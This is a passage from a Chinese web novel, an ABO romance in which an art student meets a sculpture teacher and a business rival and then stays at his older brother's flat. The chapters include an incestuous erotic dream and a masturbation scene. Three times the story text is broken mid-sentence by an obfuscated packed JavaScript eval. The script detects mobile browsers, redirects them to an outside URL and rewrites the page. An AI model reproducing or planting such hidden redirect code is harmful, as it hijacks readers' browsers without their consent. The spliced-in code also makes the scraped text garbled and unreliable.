“这怎么好意思呢。”司驰不尴不尬地假笑说,他有些后悔今天来这边写生了,可他这会儿也想起是自己脑子一抽答应好的。 苏扬没有给他后悔的机会:“别客气,你来店里采风,便是添了道新鲜的风景,我拿最好的咖啡豆招待都不过分。” 这话说得太有水平,司驰听得起了身鸡皮疙瘩,一脑门热汗都吓凉了,但也没想好拒绝的话术:早知道多跟司弈学学待人接物。 “那谢谢苏老师,我先过那边去了。”司驰拒绝不能,只好乖巧地接受。 司驰手忙脚乱地支好画架、摆好画板,准备拎着水桶让店员小姐姐或小哥哥帮忙打水,苏扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875674|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便端着新做好的咖啡过来了。 “你先喝咖啡吧,我去帮你打水。”苏扬把咖啡盘子放到小几上,自自然然地伸手去接司驰手里的水桶。 司驰忙把拎着水桶的手收回到身后:“这点小事我还是能自己做的,苏老师。” “好吧,看来还是我吓着你了。”苏扬侧身让了让位置,“我就坐在旁边看你画画,这样可以吗?” “您随意。”司驰撂下这句话,逃也似的往吧台奔去,再次心里嘀咕不该再来这边写生。 但东西都摆好了,就搁人眼皮子底下,司驰想撤都来不及。 司驰提着半桶水回到窗边,苏扬也把自己的书和茶杯茶壶端到了窗边环形的卡座,他坐在昨天季青的位置,离司驰的画板不近不远,许是觉察到司驰回来,他翻书的手指停了停,抬眼冲司驰笑笑:“你可以当我不存在,自己画自己的,别因为我限制了发挥。” “苏老师也是学画画的么?”司驰放下水桶,硬着头皮找了个话题。 “小时候学过几年,不算太专业,只能分辨好看和不好看。”苏扬谦逊地说道,“昨天我偶然看到你画的骑楼,那是好看的。” “啊,谢谢。”司驰坐到了马扎上,把画纸在板上固定好,由于有人在旁边看着,他也无心看窗外风景,直接拿出画笔和颜料闷头作画。 苏扬说着不打扰他,但自顾自地往下聊:“看你年纪不大,应该才读大学吧。” “嗯……是。”司驰含糊地应了声,昨天坐马扎坐了大半天都没觉得不舒服,今天怎么坐怎么不舒服,画纸上的颜料也都调得灰扑扑,和窗外明媚的景色完全不搭边。 苏扬似乎没意识到他的敷衍,反而像得了信号般喋喋不休:“还在读大学就有这种功底,真了不得,多沉淀深造几年,前途肯定不可限量……” 他到底是怎么看出苏扬和司弈神似的,这话多得跟某云社的相声演员似的,真跟清冷温润有关系吗? 司驰看了自己画纸上灰扑扑的底色,又麻木地略过画板看向窗外,果然画得非常之糟糕。 司弈这会儿在干什么呢?司驰把画笔掷进水桶里,“咚”地一声响后,苏扬顿时闭了嘴。 “不好意思,苏老师,我要停一会儿发个消息。”司驰从兜里拿出手机,冲苏扬晃了晃。 “没事,你忙你的,不用在意我。”苏扬讪讪地笑笑,终于拿着书推到了沙发里侧。 司驰习惯性调出他和司弈的聊天框看看,而后切换到社交平台,想刷刷帖子缓解一下自己不爽的心情。 然后无微不至的大数据给他推送了一篇图文:「司氏智能科技集团与百歌游乐园宣布正式展开合作。」 百歌游乐园,便是白家名下游乐园的名称,司驰点开这条帖子,图片瞬间放大在眼前,那是司弈和白序礼握手的定格照,不似别的商业新闻不被大众关注、评论数量寥寥,这条新闻底下全是整齐划一的“四百99”。 「豹豹猫猫我出生了!」 最高点赞的评论便是这一条。 司驰下意识捏紧手机,原来昨晚白承礼把“四百CP”炒得这么热闹,是在为今天官宣合作做准备。 那么白家到底想干什么? 司弈,你又在干什么呢? 11. 相拥 但是司弈想做什么,又不是司驰能管得了的,他又没有商业头脑,哪怕司弈把他放身边听和白序礼谈合作的全过程,他也只能做耳朵进右耳朵出。 所以哪怕这会儿司驰憋屈得很,总以为白家的作为不安好心,他也只能够静观其变,反正他该提醒的也提醒了,再咄咄追问反而显得他心里有鬼。 司驰收起手机,看着窗外发了些愣,最后捞起画笔,还是就着偏灰的底色,完成了这幅“雨中骑楼”。 他也没特意画出雨丝,但深浅灰色块和白、蓝色块的堆叠,自然而然氤氲出了雨天的氛围,和窗外的阳光明媚判若两天。 “司同学,你能把画笔借我一下么?”苏扬的声音冷不丁传来。 司驰还闷闷地没有反应过来,手上忽地一空,苏扬直接过来把他的画笔抢了,熟稔地清洗掉上面的颜料,蘸上了新鲜的橙色,在布景的边缘洒脱地刷上两笔,而后由由深到浅补上几个色号的黄色,见画笔太粗还顺手拿过画板底下的细笔,轻轻松松勾出了细腻的光线。 这哪是只学过几年画?司驰觉得自己在苏扬这草草几笔面前,稚嫩得像个刚入门的学徒,待到画笔被投进水桶,司驰这幅雨天的骑楼被改成了雨过天晴版,没有此时的日光强烈,但多了分雨后独有的清透感。 搞不好这“苏老师”真是某所美院的老师呢。 “这样看着舒服多了。”苏扬感叹地放下画笔,抬手把遮眼的碎发拨到耳后,手指间沾染的颜料给他额前添了抹橙黄。 司驰起身,手忙脚乱地给他递去湿纸巾:“苏老师,擦擦脸吧。” “哦哦,不好意思,我又犯老毛病了。”苏扬立马收敛面上快飞出去的笑容,“那个,司同学,我再请你吃块店里招牌的提拉米苏蛋糕吧,当是给这幅画赔罪了。” “不,不用,我觉得您这几笔改得很好。”司驰也短暂地忘记自己的糟心事,他好像一不小心遇到了大佬,“冒昧问一下,您到底是做什么工作的啊?” 苏扬扯了两张湿巾,擦手又擦脸,还好颜料是水溶的,很容易擦掉。 “勉强算个人民教师。”苏扬那套谦虚的说辞又来了,“我也还没问呢,小司,你是哪个大学的?” 司驰默许了称呼微妙的转变,老实地回答道:“广府美术学院,学的是油画。” “哦,好巧,我就在这学校上班。”苏扬上下打量他,“之前没在学校见过你,你是大一的新生吧。” “嗯嗯,九月份就去报道。”司驰连连点头,“老师,您也是教油画的?” 苏扬把染色的湿巾丢进垃圾桶,又扶了扶自己的眼镜:“那倒不是,我教雕塑。” 司驰倒吸一口气:雕塑系果然大佬如云! “我接下来保证不打扰你了,你尽管随意发挥。”苏扬倒无所谓地拍拍他肩膀,“我去拿提拉米苏,顺便给你换一杯咖啡。” 司驰忙说:“咖啡不用了,咖啡我还没喝!” “那都冷了有什么好喝的?”苏扬撇撇嘴,不待司驰反驳,径自去了吧台。 司驰重新看向自己的画板,仔仔细细地观察新添上的笔触:他可真没见识,竟然下意识以为大佬对他别有居心!大佬明明是为艺术痴迷,才自来熟地跟他聊天!他刚刚在做什么?他刚刚在把大佬拒之门外! “苏老师,以后我能在我的课业之余,去听你的课么?” 司驰忙双手接过苏扬端来的提拉米苏,甚至有些殷切地问道。 苏扬不以为意地点点头:“可以啊,想来就来。” 大佬人真随和,司驰感动地想。 随后司驰就开始边采风边听大佬指点的美好经历,甚至中途恨不得把昨天画的那三张从季青的包里掏出来给苏老师细看,问苏老师怎么提升画面的准度和质感。 但苏老师还是很谦虚说他不是专门研究油画的,可能会把司驰带跑偏。 司驰也上头了说,之后以苏老师的方法为创作准绳都可以。 咖啡好,蛋糕好,画好,景也好,司驰差点没当场鞠躬,喊苏扬师父了,完全把自己的糟心事抛在了脑后。 眼看到了傍晚时分,司驰很有眼色地拿出手机,加上了苏扬好友,正想顺势邀他一共进晚餐,苏扬便接到一个电话。 “啊,往窗外看做咩嘢?”司驰听到苏扬嘀咕了声。 二人齐刷刷地往窗外看去,一位花衬衫大裤衩的男子猛然扑到了落地窗外边,打开成为一个花花绿绿的“大”字,脸和五官因为贴近玻璃而变形。 司驰右边眼角猛然跳动了一下,而他那静时温润如玉动时神采飞扬的苏老师,瞬间发出诡异的怪叫声,“哈”地一下笑倒在了红沙发上。 窗外人达成目的,大笑着离开玻璃,但对上司驰迷惑的视线后,顿时面色大变,几乎往咖啡馆门口小跑而来。 短暂的迷惑后,司驰也反应过来,这毫无审美的花衬衫好像是他们家的商业对头,向老二向天! 向天和苏老师是熟人,司驰愈发警惕起来,苏扬却浑然不觉,等到花衬衫小跑过来,才边扶眼镜边坐起身。 “那个,小司,给你介绍一下,这是我朋友,也是咖啡店的老板,”苏扬抬手朝向花衬衫,边笑边介绍道,“他姓向,单名一个天,你要嫌不顺嘴,叫他向天歌也行。” 向天全然不顾苏扬还在说话,径自拦到了司驰跟前,面色发青地厉声道:“司驰,你哥竟然让你找到了这里!” “别误会,向老板,跟我哥没关系,我是因为采风,无意路过贵宝地。”司驰冷笑道,“我们和你不同,从来不做小人行径。” 但向天听不懂人话,已然退到了苏扬身前,色厉内荏道:“反正你们有什么招数冲我来,别动苏扬!” 不是,你在这儿演偶像剧呢? 司驰与状况外的苏扬对视一眼,安抚对方说:“没事的,苏老师,这跟你没关系。” 而向天仿佛恶犬护主:“你要敢跟他有关系,我第一个咬死你!” 看来向天和苏老师的关系并不是朋友那么简单。 司驰眯了眯眼,浑不吝地挑眉:“那不好意思,苏老师已经答应收我为徒了。” 向天立马扭脸恶狠狠地瞪向苏扬,苏扬又扶一扶眼镜,很给面子地帮司驰圆话:“差不多吧,小司很有油画方面的天赋。” “你不是教雕塑的吗?”向天发出狗叫。 “油画也能教一点。”苏扬笑笑,恢复到和司驰初见时那幅温润又清冷的表情。 向天顿时不敢吱声,只敢扭头继续瞪司驰:“那天让你哥跑掉了,是我的失误,下次他可没那么好的运气!” “你还是劝向董好好更新「五十弦」系统吧,别老想着走一些歪门邪道。”司驰脑子转得飞快,根据近两天的事情,很快理清楚了向天给司弈下套的动因。 虽然司家对白家只有合作意向,没有联姻意向,但在白家和大众眼里,联姻的重要性要高过合作,如果在合作都还没达成时,司弈因为易感期提前做出丑事,那很可能就冲击到跟白家的合作,而向氏拥有「众里」系统的替代品「五十弦」,司白两家合作不成,他们便可趁虚而入。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875675|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这算盘打得恶毒又精明,如果那天司弈没跑出玉堂春暖找到司驰,那等待他的会是什么呢?司驰都不敢往深处想。 “我先打断一下啊,这个点该吃饭了。”苏扬前后看看剑拔弩张的俩人,若无其事地开口,“小司,你跟我一块吃饭的话,那我就把向天赶走。” 苏老师真仗义,但向天被踩着了尾巴:“凭什么赶我走?我专门来找你吃饭的啊!” 司驰谢绝了苏老师的好意,他说:“不好意思,苏老师,可能我们得改天再约饭了,我现在要赶回G市。” “不至于吧,我就说了你两句,你就要回去跟你哥告状?”向天的尾巴仍然被踩着。 “一边去,别挡着我收拾画具。”司驰按住向天肩膀,轻轻松松把他推开,再次面对苏扬正式地说,“那么学校见了,苏老师。” 苏扬也顺势忽略掉气呼呼的向天:“嗯,学校见,回G市路上小心些。” 走出咖啡馆,也已经是晚上六点,太阳还没落山,但等司驰收拾好后再开车回G市,到司弈公司附近的住处至少得晚上九点以后。 司弈不至于九点钟就睡觉,还可能九点钟都没到家,只是司驰无缘无故地到访他的单身公寓,某种意义上也是打扰。 司驰也顾不得这些,他就是想见到司弈,或许都不用跟司弈说上话,单单见到司弈心便被填满。 “阿青,我有事提前回G市,酒店套房没退,你还能接着住到后天。” “不是因为官宣合作才回去,我又不管我们家公司的事。” “别问了,没别的原因,只是辛苦你为我这两天到处跑。” “……我真不要你从菜市场买来的活鱼,谢谢。” 司驰还是把回程想得太顺利,一下高速进入G市城区,他就先遭遇了一波堵车,这时候已经是晚上九点多。 或许他应该给司弈打个电话告知一声,也好让司弈有个准备,可是他不想打,好像打完电话他就会丧失这股立马要去见司弈的冲动。 司弈肯定要问司驰,是不是采风遇到了糟心事,为什么忽然想着要找他。 这些问题光是想想就烦死了。 可到时候司弈不在家就更烦了。 司驰烦躁地把车停在了司弈的单身公寓楼下,时间到了晚上十点半。 小区里的住户多是附近的上班族,这会儿遇到他们加班回家,司驰等电梯都等了近十分钟,进电梯的面积也不宽裕,他只得缩了身子站在角落,冷漠地看着电梯门上的数字跳跃。 等到人陆陆续续地下电梯,司驰也终于来到了23楼。 不明白司弈为什么不住高档小区,非跟人上班族抢单身公寓住,司驰都不乐意来这地方,他完全被司弈惯坏了,跟着画室外出集训一年,住了一年五星酒店的套房。 当然他之前课业繁忙,也不常来公司附近这住处,连钥匙都没有,难得来一回,还满肚子烦躁和担心。 司弈住在2302。 “叩叩”,司驰敲了两下门,等不及门内做反应,又急吼吼地摁了两下门铃。 如果司弈不开门,他立马转身走人,司驰定定地看着门铃上的摄像头,如是想到。 然后“咔哒”一声,门开了。 司弈就穿着一身宽松的浴袍,领口微敞,长发微湿,整个人看起来热腾腾、闻起来冷清清,他似乎刚洗完澡,打着赤脚赶出来给司驰开门,嗔怪笑道: “我让你拿把备用钥匙,你又不……” 司驰没等他说完,上前将他拥进了怀里。 12. 浊梦 司驰可能一下子没收住劲儿,怀里的司弈被勒得倒吸一口冷气,司驰慌里慌张地松开,退后时还被门框绊了一下,瞬间涨红脸。 “没事,你可以多抱一会儿。”司弈摊开了胳膊。 司驰别开脸:“我们先进去聊吧,哥。” 客厅面积不大,两三布艺沙发和原木茶几便塞得满当,总体装修风格偏暖色调,是司驰提的建议,吸顶灯也是月牙的形状,亮起来散发着偏黄的暖光。 司驰几乎一陷进沙发里就感觉到困了,但他还是强撑着瞪大眼睛,看司弈在面前开放式的小厨房忙活,给司驰做一点简餐。 司弈的小家里没有配备完整的「众里」系统,其中只有维持家居环境清洁的功能,其他的只能够司弈自己动手,包括下厨,不过司弈常在外边吃饭,所以这家里一般也不开火。 司驰没看出司驰要给自己做什么简餐,只注意到他握着刀的修长手指、鬓边微晃的碎发以及下垂的眼睛。 “发什么愣呢?”司弈端着一个花盘子和两只白瓷杯子过来。 盘子里放着两个鸡蛋培根和两个鲜草莓夹心的三明治,咸口和甜口都是司驰爱吃的口味,司弈不是不在家做饭吗,怎么食材准备得那么恰好? 司驰还嗅到了巧克力的甜香,嘟囔着哼哼:“晚上喝热巧克力会睡不着。” “给你热的牛奶。”司弈给他递来一个杯子。 “那我还是要热巧克力。”司驰改变了主意。 中央空调徐徐调节着室内的温度,司驰就着热巧克力吃三明治,两口下肚觉得太腻,司弈把自己的热牛奶换给司驰,也不嫌弃他喝过的杯子,接着喝剩下的热巧。 世界小小地蜷缩进这间暖色调被打翻的屋子,司驰垂眼抿着白瓷杯里的热牛奶,在这个瞬间以为自己回到了小时候——他坐在床沿喝热牛奶,晃着还够不着地面的小短腿,司弈就窝在床对面的小沙发里,捧着一本砖头厚的故事书,每晚给他念一个故事。 司驰甚至记得司弈翻书时,那轻微的响动,犹如一只蝴蝶掠过耳畔。 “采风的时候是遇上什么事了吗?”司弈果然这么问道。 司驰咽下一口新鲜的草莓果肉混奶油,让自己最后绷着那股劲儿放松,实诚地回答说: “我去采风的那家咖啡馆是向家老二的地盘,我今天下午碰到他了,他还说了些莫名其妙的话。” 司弈了然地勾了嘴角:“哦,因为这个生气,所以跑来找我?” “不对!我才不是因为生气来找你!”司驰放下三明治纠正道,但看着司弈含笑的眼睛,扬起的声音减弱,“我是因为担心你。” “向家就是打定主意要害你,你那天如果没跑出来找到我,那你……” 司驰垂下脑袋,多的话他不敢说出口。 “我不是没事吗,阿驰。”司弈伸手过来,揉了揉他发顶。 司驰别开脑袋:“没洗头,别摸。” “那你今晚就住这儿?”司弈转移了话题。 “嗯,我知道你这儿就一间卧室,所以已经做好睡沙发的准备。”司驰恶声恶气地说。 但司弈偏和他过不去:“你好不容易‘光临’一次,怎么能让你睡沙发呢?我睡沙发吧。” “你明天不上班了啊!”司驰扭脸过来瞪司弈,却被司弈的笑容刺得收敛起自己的凶相,“你还是睡床,我……我也不睡沙发。” 为了不让司弈继续推让,司驰当机立断。 “那你睡哪儿?”司弈还不放过他。 司驰心烦:“睡床睡床,就睡你旁边!” 司弈终于满意了:“那你去洗漱,我给你拿睡衣。” * 司弈给司驰准备的睡衣很合身,还印着蜂蜜色的可爱小熊,明明司驰也有个一年半载没来这住处了,哪怕只是一点小事,司弈也对司驰很是上心。 想到这一点,司驰不禁觉得心软,但看到司弈也换了睡衣倚靠在床头看书,司驰的心又硬了起来。 司驰二次分化后就没跟司弈挤在一个被窝里睡过,唯一一次还是一个月前的事故,虽然他担心司弈、心疼司弈,但并不代表他对那天晚上的事情心里没疙瘩。 “啪”地一下,司驰把卧室灯关了,看不见司弈后他心里舒坦多了。 “怎么忽然把灯关了?”司弈问。 司驰摸黑绕到床的另一边,“提醒你别看书,该睡觉了。” 他窸窸窣窣地躺下,司弈也窸窸窣窣地把书放下。 “我在找能给你讲的故事。”司弈说。 “我都多大个人了。”司驰嘟嘟囔囔地扯被子,没扯到多少,被司弈压着了。 “丁点儿大的小屁孩还说这些。”司弈把被子匀了些给他,觉察到他盖好了才停手。 司驰叛逆心上来:“切,反正我不听故事。” “好好好,不讲不讲。”司弈说着,也没有侧过身面朝司驰,而是和司驰一样平躺,二人下意识隔着一条界线。 司弈多聪明的人啊,肯定意识到司驰心里的疙瘩。 但是司弈也说:“你今天来找我,我很开心。” 司驰心里一跳:“我开学前都没事儿,其实可以住你这边。” “和我睡一块也愿意?”司弈又来逗他。 “我睡沙发,今天过后,你怎么劝我都不会妥协。”司驰坚定道。 “那你还是睡床吧。”司弈说,“我后天要北上谈笔生意,反正能在你开学前赶回来。” “你要去十天那么久啊?”司驰不乐意了,“不是才刚宣布和白家合作吗?” “合作又不是这家合完再合那家,很多时候是同时进行的嘛。”司弈耐心地跟司驰讲道理,“而且人家找上门来,也是信任我们的技术,不能给人家乱摆架子。” 司驰反怼:“是是,不摆架子,但为了给我出气,停了跟Moon酒店的合作。” 司弈不慌不忙:“老穆董提高了给公司的系统维修金,开除了姓王的,给姓李的降了职,所以我们和Moon酒店的合作还在继续。” 司驰一口气堵心头:“……总觉得被你算计了。” “我不会算计你的,阿驰。”司弈说,语气里漫上珍重。 司驰意识到自己说错了话:“哥,我不是那意思。” “嗯,我知道。”司弈说。 你知道,你什么都知道。 司驰叹了口气,侧身背过司弈:“我要睡了,哥。” 司弈体贴地说道:“好,晚安。” 空气里藏着一丝忍冬和木樨的信息素气息。 他们洗完澡后也贴抑制贴,屋子里似乎常喷阻隔喷雾,所以信息素的味道淡得忽略不计,这会儿完全安静下来,司驰才隐约嗅到。 平时司驰一个人在家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875676|191894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不一定贴抑制贴,只有众里记着隔段时间喷阻隔喷雾;而在他来打搅前,司弈也是一个人在公寓住,怎么司弈都记着时刻贴抑制贴,在没有众里帮忙的前提下,还记得喷阻隔喷雾。 这么严以律己,会不会太辛苦? 司驰屏息悄悄地侧过身,面对着司弈,手指碰到了司弈铺散的发丝,他下意识勾了两缕在手心,凉丝丝的。 他这才后知后觉,想起方才那个拥抱的温度,再抬眼,隐约看见司弈熟睡的轮廓,他缓缓地将自己胳膊,模拟拥抱的动作,但只是搂住了自己。 如果能回到小时候就好了,那时候他能名正言顺地钻进司弈的被窝,也能一下子扑进司弈怀里,别人看了也只会说:这哥俩真亲近,感情真好。 啊,兄弟情深。 司驰看着司弈平静的侧颜,恍恍惚闭上了眼睛,他连续开了近三个小时的车,从J市赶到公司这边,已经疲惫不堪,不过他好像忘记给司弈带陈皮…… 哥?哥!哥…… 司驰看见了司弈的脸,司弈躺在水汽氤氲的桃花池水里,而司驰几乎压在的司弈身上,这方天地里满溢着木樨花压倒性的甜香。 那是司驰的信息素,但司弈没有表露出半分不适,似乎还有些享受地勾起了嘴角。 司弈偏过脸,蹭一蹭司驰的手心,那脆弱的、嫣红如花朵般的腺体便露出小半,司弈唇齿开合,声音蛊惑: “咬吧,阿驰,没关系的。” “我们是亲兄弟……” “那有什么关系。” “我们还都是Alpha……” “那有什么关系。” 司驰期期艾艾地说,司弈波澜不惊地答。 但司弈并没有司驰预想中那么有耐心,他打断了司驰接下来的借口,无奈中透着些忧伤地说: “你都在这里见过我上千次,为什么不敢靠近我哪怕一次?” “这里只是梦境啊,我的傻阿驰。” 随即司弈抬了手,兜住了司驰的后脑勺,猛地往下一按。 司驰一惊,感受到下身温热的潮湿,他缓缓睁开眼睛,看见司弈卧室里嵌着月牙吸顶灯的天花板,再向侧边伸手,没有触碰到司弈的身体,只有凉透了的床单。 屋子里黑洞洞的,窗帘外边没有透进光,司弈起床这么早的吗? 司驰胡乱拍开手边的灯开关,跪起身来检查床单被褥,没有沾上奇怪的东西,但他也确实要换了内裤和睡裤。 还好睡前有贴抑制贴,不然他这一趟春梦做下来,信息素肯定飘得满屋子都是,被司弈闻到他该怎么解释? 司驰小心地下床,凭着记忆打开司弈的衣柜,找到新的内裤和干净的外裤,把它们团好塞进衣服里,躬着身子做贼一般蹑手蹑脚地走出房门,心里盘算着要看到司弈就说自己肚子疼。 你怎么能这么没出息呢,司驰! 但恰恰亮着灯的是卫生间,里面传来淅沥的水声,司弈在洗澡。 这不就赶巧了嘛! 司驰痛恨司弈住处一室一厅一卫的狭小格局,在家里那大别墅,他至于碰上这么尴尬的情况吗? 盯着卫生间里的灯光好一会儿,司驰咬一咬牙,正准备转身回卧室。 卫生间门开了,涌出来带着忍冬气息的温热水汽。 司驰被呛了下,感觉到自己身体又起了不该有的反应。 13. 野画 “你也起这么早吗,阿驰?” 司弈用羽毛状的发簪松松地把长发绾上,露出了修长的脖颈,他换上了出门的正装,只是还没来得及穿上外套。 不过单单看衬衫也足够板正,司驰不禁将目光往司弈大腿挪了挪,心想司弈会不会穿戴了衬衫夹。 “看什么呢?”司弈冷不丁地凑上前来。 司驰这才想起保持弓腰驼背的姿势:“我肚子疼。” 回答了第一个问题,第二个就不回答了。 没等司弈反应,司驰便急匆匆地绕开司弈,把自己反锁进了卫生间。 “需要我给你找胃药么?”司弈敲门,体贴地问。 “不用!”司驰没好气地拒绝,本来被司弈关心就烦,这里头漫溢的忍冬信息素就更让人烦。 他几乎气急败坏地把湿掉的裤子脱下来,但身体仍然可耻地保持着异样的反应,那忍冬信息素还张牙舞爪地侵入他的呼吸道,让他在忍受被刀片刮磨的同时,竟生出异样的快感。 看来还是得收拾一下自己,司驰单手把睡衣也脱下来,和裤子一道扔进了脏衣篓。 卫生间面积不大,没有浴缸,只有淋浴的花洒,司驰站到淋浴的角落,撕开黏得腺体发疼的抑制贴,随后才打开花洒,同时让自己的信息素随着水声,漫到这方狭窄空间的每个角落。 木樨的甜香不徐不疾地盖过了忍冬的清苦,司驰在昨夜春梦的刺激下释放了自己,哪怕水声淅沥,他也尽可能地压抑住了自己的喘息和呻.吟。 真没出息啊,司驰,只是和司弈睡一张床而已,只是闻到司弈的信息素而已。 你怕是不在易感期就要把你哥办了吧。 毕竟你在那天晚上过后,还真肖想过把你哥压回来。 司驰抹了把脸,分不清是热水还是自己的眼泪:反正他易感期不会靠近司弈的。 热雨从发顶淋过全身,司驰失控的信息素也慢慢平复,他从热雨里抬起眼,瞥到挂在脏衣篓边缘的睡衣,才反应过来他待会儿出去会没上衣穿。 虽然他也没洁癖吧,但扔进脏衣篓的衣服他也不想再伸手拿,目光在卫生间里晃了一圈,司驰只看到了短短的浴巾,披身上根本盖不住什么。 罢了,司驰关了淋浴,取来浴巾擦干身体,又找到更换的抑制贴贴上。 幸好这屋子面积不大,他三两步就能穿过客厅回到卧室。 但一出门,司驰便后悔了,他打眼一看,客厅里根本没司弈的身影,往好处想司弈是去上班了,往坏处想司弈这会儿就在卧室里。 司驰的头发还在滴水,滑过他后背的伤疤有些麻麻的难受,犹豫一两秒后,他还是决定回卧室穿衣服吹头发。 用一根手指小心翼翼地推开卧室门,司驰果然从门缝里看见司弈对着穿衣镜打领带的背影,他深吸一口气,同手同脚地进门,趁司弈背对他的功夫,直接上床钻进了被窝。 “头发吹干了再睡回笼觉哦。”司弈背后跟长了眼睛似的。 司驰把脸埋进枕头里,闷闷地说:“你出去我就起来吹头发。” 他等了好一会儿,都没等到司弈问他肚子疼是怎么回事。 不会被发现他是在说谎了吧? 盖住司驰头顶的被子忽然被掀开,司弈的手搭在了司驰后背,指尖轻轻滑过位置偏上的一道鞭痕。 司驰身体下意识发颤,就听见司弈叹息说:“看来是愈合得差不多,但还是得搽一些祛疤的药。” “少假惺惺了,你如果真心疼,就别下死手打我啊。”司驰没有转过脸。 “那是为了让你长些记性,别趁我不在就做些危险的事。”司弈把被子给他重新盖好,“阿驰,在这个世上我只有你了。” 司驰这才转过脸去,他其实没想惹司弈伤心,他就是赌气……但司弈背过他走到了门口,想起什么又转过脸来嘱咐:“冰箱里有现成的包点,用微波炉热一热就能吃,中午可以到公司食堂吃饭。但我还是建议你搬回去住,很快你就要开学了,没必要提前体验空间狭窄的住宿环境。” “我又没那么娇气,”司驰坐了起来,不服气说,“你能住我当然也能住!” “那记得吹头发,睡醒后把你换下的脏衣服洗了。”司弈笑了笑,“我今天争取早点回来。” “嗯……”司驰别开脸,下意识攥紧被子,门“咔哒”一声关上了。 司驰愣了一会儿,才认命地起身找衣服穿,以及拿出吹风筒烘干头发。 现在是早上六点半,外边刚亮,司弈都是司氏的董事长了,还需要这么忙吗? 司驰重新把自己埋进被子里,鼻尖还萦绕着司弈的味道,他心头还有情绪的余烬,而忍冬正好寒凉苦涩,如果他咬一口,应该能将那余烬彻底熄灭吧。 * 洗衣机是全自动的,清洗完便烘干,基本不用司驰怎么动手。 他就趁这会儿等待的功夫,给自己热了两个草莓夹心的欧包,其实吃冷的也行,但会挨司弈说。 司弈冰箱是单开门的,上下容积都不大,但囤的每一样食物都是司驰爱吃的。 明明司弈的口味和他不一样,比如说司弈就不太爱吃甜食。 为了他偶然来住一次,司弈就准备这一冰箱?想想也挺荒谬的。 司驰三两口把欧包解决掉一个,手机页面也停在了“四百”的CP帖子上,白承礼那个账号没有了动静,但圈子里冒出了好些之前没见过的图和文。 基本都不是需要打马赛克的十八禁,司驰点开其中一部分绘画,发现TA们的创作构大多参照司弈和白序礼二人已公开的合照,基本上没有自己额外的创新,仿佛只是为完成任务般发来这么一张图,给这圈子增添热度。 其中还夹杂着一张白序礼的单人图,那画手解释说不是故意占CP词条,只是先放白序礼的图,过两天再放司弈的图。 在这评论区里,顶上前排的热评提醒说:「太太下次画SY的话,可以不要打SY的词条么?他的词条被一个恶心的梦男刷屏了,里面的内容简直不能看。」 底下还一片附和的,说只打CP词条就行。 诶,按照正常的逻辑,这群CP粉不该用自己的作品把词条占回去吗?怎么这就拱手让人了? 司驰又点回之前几条双人图的帖子,发现TA们也没有打「司弈」的词条,而且还有一点不对,就是司驰从没搭理过CP粉的私信,CP粉上哪儿知道他的第一性别? 估计这又是白承礼干的好事,司驰吃第二个欧包时已经感觉到不香了,他 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他这次画的是少年时的司弈,大概十五六岁那样子,那会儿还是短发,极瘦,总是穿着不太合身的宽大校服,会对他露出忧伤又温柔的笑容。 司弈总说司驰不记事,可能在司弈眼里,司驰十岁以前都是个没开智的傻子。 但司驰清楚地记得司弈消瘦如一柄骨刀般的身形,也记得他被父母拥抱在怀里时司弈投来的冰冷目光,只是到后来,司驰才明白为何司弈瘦削得可怕,以及理解到司弈目光里隐藏的情绪是落寞。 他年纪太小,不能保护司弈,不能照顾司弈,还让司弈受了很多委屈。 如果我是哥哥就好了。司驰看着他笔下的少年如是想到,可是我也不知道这样做有没有帮到你一点。 司驰打开社交平台,将这幅风中回眸微笑的少年上传,思忖了好一会儿,他配文: 「情愿你在我怀中痛哭一场。」 这样写好像做实了对面扣过来的“梦男”帽子。 司驰只好删掉改正道:「春风与微笑」 他点击发布,又调到之前的作品评论区,回复了几条关于技法和画材的留言,而后再点进赞最多的那幅画的评论区。 现在的高赞评论是一则被顶上来的小故事: 「狐狸化成的漂亮青年在窗台等待,窗外春天的孩子们陆陆续续向他问候,他宽容地允许蝴蝶、雀鸟,允许一朵花停留在指尖,但对于它们的问题,青年却没有正面的答复。 “等待谁么?我也不清楚。”青年说,“或许是谁在等待我呢,说不一定。”」 好莫名其妙的故事,有头没尾,但司驰想司弈应该喜欢这种调调,当初司弈给司驰讲自己编的故事,就爱说些像诗歌一样云里雾里的话。 司驰也给这条评论点了赞,可惜不知道回复什么,只得讪讪作罢。 他调回新发布的那条帖子,或许是白承礼炒起来的热度消退,又或许是司弈的单人词条被CP粉们抵制成功,这条新的帖子在发布半小时后只有个位数点赞。 零星两三条评论,其中有一条还是: 「意.淫别人的未婚夫,你恶不恶心啊?」 14. 重要 